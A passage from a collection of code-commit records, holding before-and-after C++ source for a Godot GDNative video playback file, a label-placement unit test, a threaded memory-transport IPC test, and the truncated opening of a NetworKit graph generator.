paused = p_paused;
}
Ref<Texture> VideoStreamPlaybackGDNative::get_texture() {
return texture;
}
float VideoStreamPlaybackGDNative::get_length() const {
ERR_FAIL_COND_V(interface == NULL, 0);
return interface->get_length(data_struct);
}
float VideoStreamPlaybackGDNative::get_playback_position() const {
ERR_FAIL_COND_V(interface == NULL, 0);
return interface->get_playback_position(data_struct);
}
bool VideoStreamPlaybackGDNative::has_loop() const {
// TODO: Implement looping?
return false;
}
void VideoStreamPlaybackGDNative::set_loop(bool p_enable) {
// Do nothing
}
void VideoStreamPlaybackGDNative::set_audio_track(int p_idx) {
ERR_FAIL_COND(interface == NULL);
interface->set_audio_track(data_struct, p_idx);
}
void VideoStreamPlaybackGDNative::set_mix_callback(AudioMixCallback p_callback, void *p_userdata) {
mix_udata = p_userdata;
mix_callback = p_callback;
}
int VideoStreamPlaybackGDNative::get_channels() const {
ERR_FAIL_COND_V(interface == NULL, 0);
return (num_channels > 0) ? num_channels : 0;
}
int VideoStreamPlaybackGDNative::get_mix_rate() const {
ERR_FAIL_COND_V(interface == NULL, 0);
return mix_rate;
}
/* --- NOTE VideoStreamGDNative starts here. ----- */
Ref<VideoStreamPlayback> VideoStreamGDNative::instance_playback() {
Ref<VideoStreamPlaybackGDNative> pb = memnew(VideoStreamPlaybackGDNative);
VideoDecoderGDNative *decoder = decoder_server.get_decoder(file.get_extension().to_lower());
if (decoder == NULL)
return NULL;
pb->set_interface(decoder->interface);
pb->set_audio_track(audio_track);
if (pb->open_file(file))
return pb;
return NULL;
}
void VideoStreamGDNative::set_file(const String &p_file) {
file = p_file;
}
String VideoStreamGDNative::get_file() {
return file;
}
void VideoStreamGDNative::_bind_methods() {
ClassDB::bind_method(D_METHOD("set_file", "file"), &VideoStreamGDNative::set_file);
ClassDB::bind_method(D_METHOD("get_file"), &VideoStreamGDNative::get_file);
ADD_PROPERTY(PropertyInfo(Variant::STRING, "file", PROPERTY_HINT_NONE, "", PROPERTY_USAGE_NOEDITOR | PROPERTY_USAGE_INTERNAL), "set_file", "get_file");
}
void VideoStreamGDNative::set_audio_track(int p_track) {
audio_track = p_track;
}
/* --- NOTE ResourceFormatLoaderVideoStreamGDNative starts here. ----- */
RES ResourceFormatLoaderVideoStreamGDNative::load(const String &p_path, const String &p_original_path, Error *r_error) {
FileAccess *f = FileAccess::open(p_path, FileAccess::READ);
if (!f) {
if (r_error) {
*r_error = ERR_CANT_OPEN;
}
memdelete(f);
return RES();
}
VideoStreamGDNative *stream = memnew(VideoStreamGDNative);
stream->set_file(p_path);
Ref<VideoStreamGDNative> ogv_stream = Ref<VideoStreamGDNative>(stream);
if (r_error) {
*r_error = OK;
}
return ogv_stream;
}
void ResourceFormatLoaderVideoStreamGDNative::get_recognized_extensions(List<String> *p_extensions) const {
Map<String, int>::Element *el = VideoDecoderServer::get_instance()->get_extensions().front();
while (el) {
p_extensions->push_back(el->key());
el = el->next();
}
}
bool ResourceFormatLoaderVideoStreamGDNative::handles_type(const String &p_type) const {
return ClassDB::is_parent_class(p_type, "VideoStream");
}
String ResourceFormatLoaderVideoStreamGDNative::get_resource_type(const String &p_path) const {
String el = p_path.get_extension().to_lower();
if (VideoDecoderServer::get_instance()->get_extensions().has(el))
return "VideoStreamGDNative";
return "";
}
<commit_msg>Fixed infinite loop at end of video.<commit_after>/*************************************************************************/
/* video_stream_gdnative.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* https://godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2018 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2018 Godot Engine contributors (cf. AUTHORS.md) */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "video_stream_gdnative.h"
#include "core/project_settings.h"
#include "servers/audio_server.h"
VideoDecoderServer *VideoDecoderServer::instance = NULL;
static VideoDecoderServer decoder_server;
const int AUX_BUFFER_SIZE = 1024; // Buffer 1024 samples.
// NOTE: Callbacks for the GDNative libraries.
extern "C" {
godot_int GDAPI godot_videodecoder_file_read(void *ptr, uint8_t *buf, int buf_size) {
// ptr is a FileAccess
FileAccess *file = reinterpret_cast<FileAccess *>(ptr);
// if file exists
if (file) {
long bytes_read = file->get_buffer(buf, buf_size);
// No bytes to read => EOF
if (bytes_read == 0) {
return 0;
}
return bytes_read;
}
return -1;
}
int64_t GDAPI godot_videodecoder_file_seek(void *ptr, int64_t pos, int whence) {
// file
FileAccess *file = reinterpret_cast<FileAccess *>(ptr);
size_t len = file->get_len();
if (file) {
switch (whence) {
case SEEK_SET: {
// Just for explicitness
size_t new_pos = static_cast<size_t>(pos);
if (new_pos > len) {
return -1;
}
file->seek(new_pos);
pos = static_cast<int64_t>(file->get_position());
return pos;
} break;
case SEEK_CUR: {
// Just in case it doesn't exist
if (pos < 0 && -pos > file->get_position()) {
return -1;
}
pos = pos + static_cast<int>(file->get_position());
file->seek(pos);
pos = static_cast<int64_t>(file->get_position());
return pos;
} break;
case SEEK_END: {
// Just in case something goes wrong
if (-pos > len) {
return -1;
}
file->seek_end(pos);
pos = static_cast<int64_t>(file->get_position());
return pos;
} break;
default: {
// Only 4 possible options, hence default = AVSEEK_SIZE
// Asks to return the length of file
return static_cast<int64_t>(len);
} break;
}
}
// In case nothing works out.
return -1;
}
void GDAPI godot_videodecoder_register_decoder(const godot_videodecoder_interface_gdnative *p_interface) {
decoder_server.register_decoder_interface(p_interface);
}
}
// VideoStreamPlaybackGDNative starts here.
bool VideoStreamPlaybackGDNative::open_file(const String &p_file) {
ERR_FAIL_COND_V(interface == NULL, false);
file = FileAccess::open(p_file, FileAccess::READ);
bool file_opened = interface->open_file(data_struct, file);
num_channels = interface->get_channels(data_struct);
mix_rate = interface->get_mix_rate(data_struct);
godot_vector2 vec = interface->get_texture_size(data_struct);
texture_size = *(Vector2 *)&vec;
pcm = (float *)memalloc(num_channels * AUX_BUFFER_SIZE * sizeof(float));
memset(pcm, 0, num_channels * AUX_BUFFER_SIZE * sizeof(float));
pcm_write_idx = -1;
samples_decoded = 0;
texture->create((int)texture_size.width, (int)texture_size.height, Image::FORMAT_RGBA8, Texture::FLAG_FILTER | Texture::FLAG_VIDEO_SURFACE);
return file_opened;
}
void VideoStreamPlaybackGDNative::update(float p_delta) {
if (!playing || paused) {
return;
}
if (!file) {
return;
}
time += p_delta;
ERR_FAIL_COND(interface == NULL);
interface->update(data_struct, p_delta);
if (pcm_write_idx >= 0) {
// Previous remains
int mixed = mix_callback(mix_udata, pcm, samples_decoded);
if (mixed == samples_decoded) {
pcm_write_idx = -1;
} else {
samples_decoded -= mixed;
pcm_write_idx += mixed;
}
}
if (pcm_write_idx < 0) {
samples_decoded = interface->get_audioframe(data_struct, pcm, AUX_BUFFER_SIZE);
pcm_write_idx = mix_callback(mix_udata, pcm, samples_decoded);
if (pcm_write_idx == samples_decoded) {
pcm_write_idx = -1;
} else {
samples_decoded -= pcm_write_idx;
}
}
while (interface->get_playback_position(data_struct) < time && playing) {
update_texture();
}
}
void VideoStreamPlaybackGDNative::update_texture() {
PoolByteArray *pba = (PoolByteArray *)interface->get_videoframe(data_struct);
if (pba == NULL) {
playing = false;
return;
}
Ref<Image> img = memnew(Image(texture_size.width, texture_size.height, 0, Image::FORMAT_RGBA8, *pba));
texture->set_data(img);
}
// ctor and dtor
VideoStreamPlaybackGDNative::VideoStreamPlaybackGDNative() :
texture(Ref<ImageTexture>(memnew(ImageTexture))),
playing(false),
paused(false),
mix_udata(NULL),
mix_callback(NULL),
num_channels(-1),
time(0),
mix_rate(0),
delay_compensation(0),
pcm(NULL),
pcm_write_idx(0),
samples_decoded(0),
file(NULL),
interface(NULL),
data_struct(NULL) {}
VideoStreamPlaybackGDNative::~VideoStreamPlaybackGDNative() {
cleanup();
}
void VideoStreamPlaybackGDNative::cleanup() {
if (data_struct)
interface->destructor(data_struct);
if (pcm)
memfree(pcm);
pcm = NULL;
time = 0;
num_channels = -1;
interface = NULL;
data_struct = NULL;
}
void VideoStreamPlaybackGDNative::set_interface(const godot_videodecoder_interface_gdnative *p_interface) {
ERR_FAIL_COND(p_interface == NULL);
if (interface != NULL) {
cleanup();
}
interface = p_interface;
data_struct = interface->constructor((godot_object *)this);
}
// controls
bool VideoStreamPlaybackGDNative::is_playing() const {
return playing;
}
bool VideoStreamPlaybackGDNative::is_paused() const {
return paused;
}
void VideoStreamPlaybackGDNative::play() {
stop();
playing = true;
delay_compensation = ProjectSettings::get_singleton()->get("audio/video_delay_compensation_ms");
delay_compensation /= 1000.0;
}
void VideoStreamPlaybackGDNative::stop() {
if (playing) {
seek(0);
}
playing = false;
}
void VideoStreamPlaybackGDNative::seek(float p_time) {
ERR_FAIL_COND(interface == NULL);
interface->seek(data_struct, p_time);
}
void VideoStreamPlaybackGDNative::set_paused(bool p_paused) {
paused = p_paused;
}
Ref<Texture> VideoStreamPlaybackGDNative::get_texture() {
return texture;
}
float VideoStreamPlaybackGDNative::get_length() const {
ERR_FAIL_COND_V(interface == NULL, 0);
return interface->get_length(data_struct);
}
float VideoStreamPlaybackGDNative::get_playback_position() const {
ERR_FAIL_COND_V(interface == NULL, 0);
return interface->get_playback_position(data_struct);
}
bool VideoStreamPlaybackGDNative::has_loop() const {
// TODO: Implement looping?
return false;
}
void VideoStreamPlaybackGDNative::set_loop(bool p_enable) {
// Do nothing
}
void VideoStreamPlaybackGDNative::set_audio_track(int p_idx) {
ERR_FAIL_COND(interface == NULL);
interface->set_audio_track(data_struct, p_idx);
}
void VideoStreamPlaybackGDNative::set_mix_callback(AudioMixCallback p_callback, void *p_userdata) {
mix_udata = p_userdata;
mix_callback = p_callback;
}
int VideoStreamPlaybackGDNative::get_channels() const {
ERR_FAIL_COND_V(interface == NULL, 0);
return (num_channels > 0) ? num_channels : 0;
}
int VideoStreamPlaybackGDNative::get_mix_rate() const {
ERR_FAIL_COND_V(interface == NULL, 0);
return mix_rate;
}
/* --- NOTE VideoStreamGDNative starts here. ----- */
Ref<VideoStreamPlayback> VideoStreamGDNative::instance_playback() {
Ref<VideoStreamPlaybackGDNative> pb = memnew(VideoStreamPlaybackGDNative);
VideoDecoderGDNative *decoder = decoder_server.get_decoder(file.get_extension().to_lower());
if (decoder == NULL)
return NULL;
pb->set_interface(decoder->interface);
pb->set_audio_track(audio_track);
if (pb->open_file(file))
return pb;
return NULL;
}
void VideoStreamGDNative::set_file(const String &p_file) {
file = p_file;
}
String VideoStreamGDNative::get_file() {
return file;
}
void VideoStreamGDNative::_bind_methods() {
ClassDB::bind_method(D_METHOD("set_file", "file"), &VideoStreamGDNative::set_file);
ClassDB::bind_method(D_METHOD("get_file"), &VideoStreamGDNative::get_file);
ADD_PROPERTY(PropertyInfo(Variant::STRING, "file", PROPERTY_HINT_NONE, "", PROPERTY_USAGE_NOEDITOR | PROPERTY_USAGE_INTERNAL), "set_file", "get_file");
}
void VideoStreamGDNative::set_audio_track(int p_track) {
audio_track = p_track;
}
/* --- NOTE ResourceFormatLoaderVideoStreamGDNative starts here. ----- */
RES ResourceFormatLoaderVideoStreamGDNative::load(const String &p_path, const String &p_original_path, Error *r_error) {
FileAccess *f = FileAccess::open(p_path, FileAccess::READ);
if (!f) {
if (r_error) {
*r_error = ERR_CANT_OPEN;
}
memdelete(f);
return RES();
}
VideoStreamGDNative *stream = memnew(VideoStreamGDNative);
stream->set_file(p_path);
Ref<VideoStreamGDNative> ogv_stream = Ref<VideoStreamGDNative>(stream);
if (r_error) {
*r_error = OK;
}
return ogv_stream;
}
void ResourceFormatLoaderVideoStreamGDNative::get_recognized_extensions(List<String> *p_extensions) const {
Map<String, int>::Element *el = VideoDecoderServer::get_instance()->get_extensions().front();
while (el) {
p_extensions->push_back(el->key());
el = el->next();
}
}
bool ResourceFormatLoaderVideoStreamGDNative::handles_type(const String &p_type) const {
return ClassDB::is_parent_class(p_type, "VideoStream");
}
String ResourceFormatLoaderVideoStreamGDNative::get_resource_type(const String &p_path) const {
String el = p_path.get_extension().to_lower();
if (VideoDecoderServer::get_instance()->get_extensions().has(el))
return "VideoStreamGDNative";
return "";
}
<|endoftext|>
|
<commit_before>#include "../test.h"
#include "../qimage_drawer_with_updating.h"
#include "../../src/placement/labeller.h"
#include "../../src/placement/constraint_updater.h"
#include "../../src/placement/anchor_constraint_drawer.h"
#include "../../src/placement/shadow_constraint_drawer.h"
#include "../../src/placement/constraint_updater.h"
#include "../../src/placement/persistent_constraint_updater.h"
#include "../../src/placement/insertion_order_labels_arranger.h"
#include "../../src/labelling/labels.h"
#include "../../src/utils/image_persister.h"
#include "../../src/utils/path_helper.h"
#include "./mock_anchor_constraint_drawer.h"
#include "./mock_shadow_constraint_drawer.h"
class Test_PlacementLabeller : public ::testing::Test
{
protected:
void createLabeller()
{
const int width = 512;
const int height = 512;
cudaChannelFormatDesc floatChannelDesc =
cudaCreateChannelDesc(32, 0, 0, 0, cudaChannelFormatKindFloat);
auto integralCostsImage =
ImagePersister::loadR32F(absolutePathOfProjectRelativePath(
std::string("assets/tests/placement-labeller/integralCosts.tiff")));
auto integralCostsTextureMapper = std::make_shared<CudaArrayMapper<float>>(
width, height, integralCostsImage, floatChannelDesc);
cudaChannelFormatDesc byteChannelDesc =
cudaCreateChannelDesc(8, 0, 0, 0, cudaChannelFormatKindUnsigned);
std::vector<unsigned char> constraintImage(width * height, 0);
auto constraintTextureMapper =
std::make_shared<CudaArrayMapper<unsigned char>>(
width, height, constraintImage, byteChannelDesc);
auto anchorConstraintDrawer =
std::make_shared<Mock_AnchorConstraintDrawer>(width, height);
auto connectorShadowDrawer =
std::make_shared<Mock_ShadowConstraintDrawer>(width, height);
auto shadowConstraintDrawer =
std::make_shared<Mock_ShadowConstraintDrawer>(width, height);
auto constraintUpdater = std::make_shared<ConstraintUpdater>(
width, height, anchorConstraintDrawer, connectorShadowDrawer,
shadowConstraintDrawer);
auto persistentConstraintUpdater =
std::make_shared<PersistentConstraintUpdater>(constraintUpdater);
labeller = std::make_shared<Placement::Labeller>(labels);
labeller->initialize(integralCostsTextureMapper, constraintTextureMapper,
persistentConstraintUpdater);
labeller->setLabelsArranger(
std::make_shared<Placement::InsertionOrderLabelsArranger>());
labeller->resize(1024, 1024);
}
virtual void SetUp()
{
labels = std::make_shared<Labels>();
labels->add(Label(1, "Shoulder", Eigen::Vector3f(0.174f, 0.55f, 0.034f)));
labels->add(Label(2, "Ellbow", Eigen::Vector3f(0.34f, 0.322f, -0.007f)));
labels->add(Label(3, "Wound", Eigen::Vector3f(0.262f, 0.422f, 0.058f),
Eigen::Vector2i(128, 128)));
labels->add(Label(4, "Wound 2", Eigen::Vector3f(0.034f, 0.373f, 0.141f)));
createLabeller();
}
public:
std::shared_ptr<Labels> labels;
std::shared_ptr<Placement::Labeller> labeller;
};
TEST_F(Test_PlacementLabeller, UpdateCalculatesPositionsFromRealData)
{
Placement::CostFunctionWeights weights;
weights.labelShadowConstraint = 1e2f;
weights.integralCosts = 1.0f;
weights.distanceToAnchor = 1e-3f;
weights.favorHorizontalOrVerticalLines = 1e-1f;
weights.connectorShadowConstraint = 1e1f;
labeller->setCostFunctionWeights(weights);
Eigen::Matrix4f view = Eigen::Matrix4f::Identity();
view(2, 3) = -1.0f;
Eigen::Matrix4f projection = Eigen::Matrix4f::Identity();
view(2, 2) = -2.53385f;
view(2, 3) = -1.94522f;
view(3, 2) = -1.0f;
LabellerFrameData frameData(0.02f, projection, view);
auto newPositions = labeller->update(frameData, false);
auto lastPlacementResult = labeller->getLastPlacementResult();
EXPECT_FLOAT_EQ(0.74639916, labeller->getLastSumOfCosts());
labeller->cleanup();
ASSERT_EQ(labels->count(), newPositions.size());
std::vector<Eigen::Vector2f> expectedPositions = {
Eigen::Vector2f(0.1875f, 0.6953125f), Eigen::Vector2f(0.335937f, 0.1875f),
Eigen::Vector2f(0.83984375f, 0.44921875f),
Eigen::Vector2f(-0.4296875f, 0.45703125f),
};
for (size_t i = 0; i < newPositions.size(); ++i)
{
EXPECT_Vector2f_NEAR(expectedPositions[i], newPositions[i + 1], 1e-5f);
EXPECT_Vector2f_NEAR(expectedPositions[i], lastPlacementResult[i + 1],
1e-5f);
}
}
TEST(Test_PlacementLabellerWithoutFixture,
UpdatesReturnsEmptyMapIfLabellerIsNotInitialized)
{
auto labeller =
std::make_shared<Placement::Labeller>(std::make_shared<Labels>());
LabellerFrameData frameData(0.02f, Eigen::Matrix4f::Identity(),
Eigen::Matrix4f::Identity());
auto newPositions = labeller->update(frameData, false);
auto lastPlacementResult = labeller->getLastPlacementResult();
EXPECT_EQ(0, newPositions.size());
EXPECT_EQ(0, lastPlacementResult.size());
}
<commit_msg>Fix Placement Labeller test.<commit_after>#include "../test.h"
#include "../qimage_drawer_with_updating.h"
#include "../../src/placement/labeller.h"
#include "../../src/placement/constraint_updater.h"
#include "../../src/placement/anchor_constraint_drawer.h"
#include "../../src/placement/shadow_constraint_drawer.h"
#include "../../src/placement/constraint_updater.h"
#include "../../src/placement/persistent_constraint_updater.h"
#include "../../src/placement/insertion_order_labels_arranger.h"
#include "../../src/labelling/labels.h"
#include "../../src/utils/image_persister.h"
#include "../../src/utils/path_helper.h"
#include "./mock_anchor_constraint_drawer.h"
#include "./mock_shadow_constraint_drawer.h"
class Test_PlacementLabeller : public ::testing::Test
{
protected:
void createLabeller()
{
const int width = 512;
const int height = 512;
cudaChannelFormatDesc floatChannelDesc =
cudaCreateChannelDesc(32, 0, 0, 0, cudaChannelFormatKindFloat);
auto integralCostsImage =
ImagePersister::loadR32F(absolutePathOfProjectRelativePath(
std::string("assets/tests/placement-labeller/integralCosts.tiff")));
auto integralCostsTextureMapper = std::make_shared<CudaArrayMapper<float>>(
width, height, integralCostsImage, floatChannelDesc);
cudaChannelFormatDesc byteChannelDesc =
cudaCreateChannelDesc(8, 0, 0, 0, cudaChannelFormatKindUnsigned);
std::vector<unsigned char> constraintImage(width * height, 0);
auto constraintTextureMapper =
std::make_shared<CudaArrayMapper<unsigned char>>(
width, height, constraintImage, byteChannelDesc);
auto anchorConstraintDrawer =
std::make_shared<Mock_AnchorConstraintDrawer>(width, height);
auto connectorShadowDrawer =
std::make_shared<Mock_ShadowConstraintDrawer>(width, height);
auto shadowConstraintDrawer =
std::make_shared<Mock_ShadowConstraintDrawer>(width, height);
auto constraintUpdater = std::make_shared<ConstraintUpdater>(
width, height, anchorConstraintDrawer, connectorShadowDrawer,
shadowConstraintDrawer);
auto persistentConstraintUpdater =
std::make_shared<PersistentConstraintUpdater>(constraintUpdater);
labeller = std::make_shared<Placement::Labeller>(labels);
labeller->initialize(integralCostsTextureMapper, constraintTextureMapper,
persistentConstraintUpdater);
labeller->setLabelsArranger(
std::make_shared<Placement::InsertionOrderLabelsArranger>());
labeller->resize(1024, 1024);
}
virtual void SetUp()
{
labels = std::make_shared<Labels>();
labels->add(Label(1, "Shoulder", Eigen::Vector3f(0.174f, 0.55f, 0.034f)));
labels->add(Label(2, "Ellbow", Eigen::Vector3f(0.34f, 0.322f, -0.007f)));
labels->add(Label(3, "Wound", Eigen::Vector3f(0.262f, 0.422f, 0.058f),
Eigen::Vector2i(128, 128)));
labels->add(Label(4, "Wound 2", Eigen::Vector3f(0.034f, 0.373f, 0.141f)));
createLabeller();
}
public:
std::shared_ptr<Labels> labels;
std::shared_ptr<Placement::Labeller> labeller;
};
TEST_F(Test_PlacementLabeller, UpdateCalculatesPositionsFromRealData)
{
Placement::CostFunctionWeights weights;
weights.labelShadowConstraint = 1e2f;
weights.integralCosts = 1.0f;
weights.distanceToAnchor = 1e-3f;
weights.favorHorizontalOrVerticalLines = 1e-1f;
weights.connectorShadowConstraint = 1e1f;
labeller->setCostFunctionWeights(weights);
Eigen::Matrix4f view = Eigen::Matrix4f::Identity();
view(2, 3) = -1.0f;
Eigen::Matrix4f projection = Eigen::Matrix4f::Identity();
view(2, 2) = -2.53385f;
view(2, 3) = -1.94522f;
view(3, 2) = -1.0f;
LabellerFrameData frameData(0.02f, projection, view);
auto newPositions = labeller->update(frameData, false);
auto lastPlacementResult = labeller->getLastPlacementResult();
EXPECT_FLOAT_EQ(0.62223798, labeller->getLastSumOfCosts());
labeller->cleanup();
ASSERT_EQ(labels->count(), newPositions.size());
std::vector<Eigen::Vector2f> expectedPositions = {
Eigen::Vector2f(0.1796875f, 0.640625f),
Eigen::Vector2f(0.335937f, 0.20703125),
Eigen::Vector2f(0.27734375, 0.69921875f),
Eigen::Vector2f(0.1875, 0.63671875),
};
for (size_t i = 0; i < newPositions.size(); ++i)
{
EXPECT_Vector2f_NEAR(expectedPositions[i], newPositions[i + 1], 1e-5f);
EXPECT_Vector2f_NEAR(expectedPositions[i], lastPlacementResult[i + 1],
1e-5f);
}
}
TEST(Test_PlacementLabellerWithoutFixture,
UpdatesReturnsEmptyMapIfLabellerIsNotInitialized)
{
auto labeller =
std::make_shared<Placement::Labeller>(std::make_shared<Labels>());
LabellerFrameData frameData(0.02f, Eigen::Matrix4f::Identity(),
Eigen::Matrix4f::Identity());
auto newPositions = labeller->update(frameData, false);
auto lastPlacementResult = labeller->getLastPlacementResult();
EXPECT_EQ(0, newPositions.size());
EXPECT_EQ(0, lastPlacementResult.size());
}
<|endoftext|>
|
<commit_before>#include "targetver.h"
#include "spipc.h"
#include <stdio.h>
#include <tchar.h>
#include <thread>
namespace spipc { namespace testing {
class Memory_Transport: public sprot::Transport_Interface
{
public:
Memory_Transport();
virtual size_t read(void* buf, size_t buf_size, size_t timeout = infinite_wait);
virtual size_t write(const void* buf, size_t buf_size, size_t timeout = infinite_wait);
private:
std::vector <unsigned char> buf_;
static const size_t buf_reserve_ = 1024 * 1024;
std::recursive_mutex write_protector_;
std::condition_variable data_available_;
std::condition_variable buffer_empty_;
void reset();
};
Memory_Transport::Memory_Transport()
{
reset();
}
void Memory_Transport::reset()
{
std::vector<unsigned char> empty;
buf_.swap(empty);
buf_.reserve(buf_reserve_);
}
size_t Memory_Transport::write(const void* buf, size_t buf_size, size_t timeout)
{
std::lock_guard<std::recursive_mutex> lock(write_protector_);
static std::mutex mutex;
std::unique_lock<std::mutex> buffer_empty_lock(mutex);
if (buf_.size() != 0)
buffer_empty_.wait(buffer_empty_lock);
buf_.insert(buf_.end(), (unsigned char*)buf, (unsigned char*)buf + buf_size);
data_available_.notify_all();
return buf_size;
}
size_t Memory_Transport::read(void* buf, size_t buf_size, size_t timeout)
{
static std::mutex mutex;
std::unique_lock<std::mutex> data_avail_lock(mutex);
data_available_.wait(data_avail_lock);
size_t read_bytes = buf_size > buf_.size() ? buf_.size() : buf_size;
memcpy(buf, &(buf_[0]), read_bytes);
buf_.resize(0);
buffer_empty_.notify_all();
return read_bytes;
}
void th1_mem_trans_test(Memory_Transport* trans)
{
static unsigned counter = 0;
while (counter++ != 10)
{
int rnd_sz = 1 + rand() % 12;
std::vector<char> to_write;
for (int i = 0; i < rnd_sz; ++i)
to_write.push_back(65 + rand() % 20);
to_write.push_back(0);
char* write_buf = &(*to_write.begin());
printf("Writing: %s (%d bytes)\n", write_buf, rnd_sz + 1);
trans->write(write_buf, rnd_sz + 1);
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
void th2_mem_trans_test(Memory_Transport* trans)
{
static unsigned counter = 0;
while (counter++ != 10)
{
char read_buf[256];
memset(read_buf, 0, sizeof(read_buf));
trans->read(read_buf, sizeof(read_buf));
printf("Reading: %s\n", read_buf);
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
bool two_threads_mem_transport_test()
{
Memory_Transport trans;
std::thread writer(th1_mem_trans_test, &trans);
std::thread reader(th2_mem_trans_test, &trans);
writer.join();
reader.join();
return true;
}
void run_all_tests()
{
if (!two_threads_mem_transport_test())
printf("two_threads_mem_transport_test failed.\n");
printf("tests finished OK.\n");
}
}};
int _tmain(int argc, _TCHAR* argv[])
{
spipc::testing::run_all_tests();
return 0;
}
<commit_msg>Extended mem transport test.<commit_after>#include "targetver.h"
#include "spipc.h"
#include <stdio.h>
#include <tchar.h>
#include <thread>
namespace spipc { namespace testing {
class Memory_Transport: public sprot::Transport_Interface
{
public:
Memory_Transport();
virtual size_t read(void* buf, size_t buf_size, size_t timeout = infinite_wait);
virtual size_t write(const void* buf, size_t buf_size, size_t timeout = infinite_wait);
private:
std::vector <unsigned char> buf_;
static const size_t buf_reserve_ = 1024 * 1024;
std::recursive_mutex write_protector_;
std::condition_variable data_available_;
std::condition_variable buffer_empty_;
void reset();
};
Memory_Transport::Memory_Transport()
{
reset();
}
void Memory_Transport::reset()
{
std::vector<unsigned char> empty;
buf_.swap(empty);
buf_.reserve(buf_reserve_);
}
size_t Memory_Transport::write(const void* buf, size_t buf_size, size_t timeout)
{
std::lock_guard<std::recursive_mutex> lock(write_protector_);
static std::mutex mutex;
std::unique_lock<std::mutex> buffer_empty_lock(mutex);
if (buf_.size() != 0)
buffer_empty_.wait(buffer_empty_lock);
buf_.insert(buf_.end(), (unsigned char*)buf, (unsigned char*)buf + buf_size);
data_available_.notify_all();
return buf_size;
}
size_t Memory_Transport::read(void* buf, size_t buf_size, size_t timeout)
{
static std::mutex mutex;
std::unique_lock<std::mutex> data_avail_lock(mutex);
data_available_.wait(data_avail_lock);
size_t read_bytes = buf_size > buf_.size() ? buf_.size() : buf_size;
memcpy(buf, &(buf_[0]), read_bytes);
buf_.resize(0);
buffer_empty_.notify_all();
return read_bytes;
}
std::recursive_mutex g_test_mutex;
std::vector<std::string> g_written_items;
void th1_mem_trans_test(Memory_Transport* trans)
{
static unsigned counter = 0;
srand(std::this_thread::get_id().hash());
std::vector<std::string> written_items;
while (counter++ < 10)
{
int rnd_sz = 1 + rand() % 12;
std::vector<char> to_write;
for (int i = 0; i < rnd_sz; ++i)
to_write.push_back(65 + rand() % 20);
to_write.push_back(0);
char* write_buf = &(*to_write.begin());
printf("Writing: %s (%d bytes)\n", write_buf, rnd_sz + 1);
trans->write(write_buf, rnd_sz + 1);
written_items.push_back(write_buf);
//std::this_thread::sleep_for(std::chrono::seconds(1));
}
std::lock_guard<std::recursive_mutex> lock(g_test_mutex);
g_written_items.insert(g_written_items.end(), written_items.begin(), written_items.end());
}
std::vector<std::string> g_read_items;
void th2_mem_trans_test(Memory_Transport* trans)
{
static unsigned counter = 0;
srand(std::this_thread::get_id().hash());
std::vector<std::string> read_items;
while (counter++ < 10)
{
char read_buf[256];
memset(read_buf, 0, sizeof(read_buf));
trans->read(read_buf, sizeof(read_buf));
read_items.push_back(read_buf);
printf("Reading: %s\n", read_buf);
//std::this_thread::sleep_for(std::chrono::seconds(1));
}
std::lock_guard<std::recursive_mutex> lock(g_test_mutex);
g_read_items.insert(g_read_items.end(), read_items.begin(), read_items.end());
}
bool N_threads_mem_transport_test()
{
Memory_Transport trans;
std::thread writer(th1_mem_trans_test, &trans);
std::thread reader(th2_mem_trans_test, &trans);
writer.join();
reader.join();
if (g_read_items.size() != g_written_items.size())
{
printf("ERROR: number of read items != number of written items.");
return false;
}
if (g_read_items.size() == 0)
{
printf("ERROR: number of read items is 0.");
return false;
}
for (std::vector<std::string>::iterator i = g_written_items.begin(); i != g_written_items.end();)
{
for (std::vector<std::string>::iterator j = g_read_items.begin(); j != g_read_items.end();)
{
if (*i == *j)
{
g_written_items.erase(i);
g_read_items.erase(j);
i = g_written_items.begin();
j = g_read_items.begin();
}
else
{
++i;
++j;
}
}
}
if (g_read_items.size() != g_written_items.size())
{
printf("ERROR: there was a corruption during read/write because not all written items were read.\n");
printf("Leftovers in g_read_items:\n");
for (size_t i = 0; i < g_read_items.size(); ++i)
printf("%s ", g_read_items[i].c_str());
printf("\nLeftovers in g_written_items:\n");
for (size_t i = 0; i < g_written_items.size(); ++i)
printf("%s ", g_written_items[i].c_str());
printf("\n");
return false;
}
if (g_read_items.size() != 0)
{
printf("ERROR: read/write problem detected.\n");
printf("Leftovers in g_read_items:\n");
for (size_t i = 0; i < g_read_items.size(); ++i)
printf("%s ", g_read_items[i].c_str());
printf("\nLeftovers in g_written_items:\n");
for (size_t i = 0; i < g_written_items.size(); ++i)
printf("%s ", g_written_items[i].c_str());
printf("\n");
return false;
}
return true;
}
void run_all_tests()
{
if (!N_threads_mem_transport_test())
printf("N_threads_mem_transport_test failed.\n");
printf("tests finished OK.\n");
}
}};
int _tmain(int argc, _TCHAR* argv[])
{
spipc::testing::run_all_tests();
return 0;
}
<|endoftext|>
|
<commit_before>/*
* ForestFireGenerator.cpp
*
* Created on: 17.01.2014
* Author: cls
*/
#include "DynamicForestFireGenerator.h"
#include "../auxiliary/Random.h"
#include "../auxiliary/Log.h"
#include <set>
#include <unordered_map>
#include <queue>
namespace NetworKit {
typedef std::function<std::vector<node>(node)> neighborFunction;
